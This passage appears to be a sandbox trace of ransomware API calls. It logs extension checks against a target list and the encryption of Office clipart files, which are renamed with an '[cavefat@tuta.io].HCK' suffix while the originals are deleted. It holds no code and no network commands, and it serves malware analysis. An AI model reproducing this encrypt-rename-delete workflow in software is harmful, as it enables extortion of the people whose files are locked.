lpString2=".JPG") returned -1 [0228.157] lstrlenW (lpString=".7z") returned 3 [0228.157] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".dbf") returned 4 [0228.158] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".1cd") returned 4 [0228.158] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".jpg") returned 4 [0228.158] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".doc") returned 4 [0228.158] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.158] lstrlenW (lpString=".docx") returned 5 [0228.158] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0228.158] lstrlenW (lpString=".pdf") returned 4 [0228.158] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.158] lstrlenW (lpString=".xls") returned 4 [0228.158] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.158] lstrlenW (lpString=".xlsx") returned 5 [0228.158] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0228.158] lstrlenW (lpString=".ppt") returned 4 [0228.158] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".zip") returned 4 [0228.158] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.158] lstrlenW (lpString=".rar") returned 4 [0228.158] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.158] lstrlenW (lpString=".bz2") returned 4 [0228.158] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.158] lstrlenW (lpString=".7z") returned 3 [0228.158] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".dbf") returned 4 [0228.158] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.158] lstrlenW (lpString=".1cd") returned 4 [0228.159] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0228.159] lstrlenW (lpString=".jpg") returned 4 [0228.159] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.159] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.159] lstrlenW (lpString="J0099177.WMF") returned 12 [0228.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0228.159] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5386) returned 1 [0228.159] CloseHandle (hObject=0x4a8) returned 1 [0228.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0228.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0228.160] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.160] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.161] GetLastError () returned 0x0 [0228.161] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x150a, lpOverlapped=0x0) returned 1 [0228.163] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1510, lpOverlapped=0x0) returned 1 [0228.164] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.164] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.164] SetEndOfFile (hFile=0x4bc) returned 1 [0228.164] CloseHandle (hObject=0x4bc) returned 1 [0228.164] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.164] SetEndOfFile (hFile=0x4a8) returned 1 [0228.166] CloseHandle (hObject=0x4a8) returned 1 [0228.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0228.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.167] lstrlenW (lpString=".doc") returned 4 [0228.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.167] lstrlenW (lpString=".docx") returned 5 [0228.167] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0228.167] lstrlenW (lpString=".pdf") returned 4 [0228.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.167] lstrlenW (lpString=".xls") returned 4 [0228.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.167] lstrlenW (lpString=".xlsx") returned 5 [0228.167] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0228.167] lstrlenW (lpString=".ppt") returned 4 [0228.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".zip") returned 4 [0228.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.168] lstrlenW (lpString=".rar") returned 4 [0228.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString=".bz2") returned 4 [0228.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString=".7z") returned 3 [0228.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".dbf") returned 4 [0228.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".1cd") returned 4 [0228.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".jpg") returned 4 [0228.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".doc") returned 4 [0228.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString=".docx") returned 5 [0228.168] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0228.168] lstrlenW (lpString=".pdf") returned 4 [0228.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString=".xls") returned 4 [0228.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.168] lstrlenW (lpString=".xlsx") returned 5 [0228.168] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0228.168] lstrlenW (lpString=".ppt") returned 4 [0228.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".zip") returned 4 [0228.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.168] lstrlenW (lpString=".rar") returned 4 [0228.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString=".bz2") returned 4 [0228.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString=".7z") returned 3 [0228.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".dbf") returned 4 [0228.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".1cd") returned 4 [0228.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0228.168] lstrlenW (lpString=".jpg") returned 4 [0228.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.169] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.169] lstrlenW (lpString="J0099178.WMF") returned 12 [0228.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0228.169] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3606) returned 1 [0228.169] CloseHandle (hObject=0x4a8) returned 1 [0228.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0228.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0228.170] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.170] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.171] GetLastError () returned 0x0 [0228.171] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xe16, lpOverlapped=0x0) returned 1 [0228.172] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xe20, lpOverlapped=0x0) returned 1 [0228.173] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.173] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.173] SetEndOfFile (hFile=0x4bc) returned 1 [0228.173] CloseHandle (hObject=0x4bc) returned 1 [0228.173] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.173] SetEndOfFile (hFile=0x4a8) returned 1 [0228.175] CloseHandle (hObject=0x4a8) returned 1 [0228.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0228.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.176] lstrlenW (lpString=".doc") returned 4 [0228.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.176] lstrlenW (lpString=".docx") returned 5 [0228.176] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0228.176] lstrlenW (lpString=".pdf") returned 4 [0228.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.176] lstrlenW (lpString=".xls") returned 4 [0228.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.176] lstrlenW (lpString=".xlsx") returned 5 [0228.176] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0228.176] lstrlenW (lpString=".ppt") returned 4 [0228.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".zip") returned 4 [0228.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.177] lstrlenW (lpString=".rar") returned 4 [0228.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString=".bz2") returned 4 [0228.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString=".7z") returned 3 [0228.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".dbf") returned 4 [0228.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".1cd") returned 4 [0228.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".jpg") returned 4 [0228.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".doc") returned 4 [0228.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString=".docx") returned 5 [0228.177] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0228.177] lstrlenW (lpString=".pdf") returned 4 [0228.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString=".xls") returned 4 [0228.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.177] lstrlenW (lpString=".xlsx") returned 5 [0228.177] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0228.177] lstrlenW (lpString=".ppt") returned 4 [0228.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".zip") returned 4 [0228.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.177] lstrlenW (lpString=".rar") returned 4 [0228.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString=".bz2") returned 4 [0228.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString=".7z") returned 3 [0228.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".dbf") returned 4 [0228.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".1cd") returned 4 [0228.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0228.177] lstrlenW (lpString=".jpg") returned 4 [0228.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.178] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.178] lstrlenW (lpString="J0099179.WMF") returned 12 [0228.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0228.179] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9154) returned 1 [0228.179] CloseHandle (hObject=0x4a8) returned 1 [0228.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0228.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0228.179] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.180] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.180] GetLastError () returned 0x0 [0228.180] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x23c2, lpOverlapped=0x0) returned 1 [0228.182] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x23d0, lpOverlapped=0x0) returned 1 [0228.182] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.182] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.183] SetEndOfFile (hFile=0x4bc) returned 1 [0228.183] CloseHandle (hObject=0x4bc) returned 1 [0228.183] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.183] SetEndOfFile (hFile=0x4a8) returned 1 [0229.052] CloseHandle (hObject=0x4a8) returned 1 [0229.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0229.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.053] lstrlenW (lpString=".doc") returned 4 [0229.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.053] lstrlenW (lpString=".docx") returned 5 [0229.053] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0229.053] lstrlenW (lpString=".pdf") returned 4 [0229.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".xls") returned 4 [0229.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.054] lstrlenW (lpString=".xlsx") returned 5 [0229.054] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0229.054] lstrlenW (lpString=".ppt") returned 4 [0229.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString=".zip") returned 4 [0229.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.054] lstrlenW (lpString=".rar") returned 4 [0229.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".bz2") returned 4 [0229.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".7z") returned 3 [0229.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString=".dbf") returned 4 [0229.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] 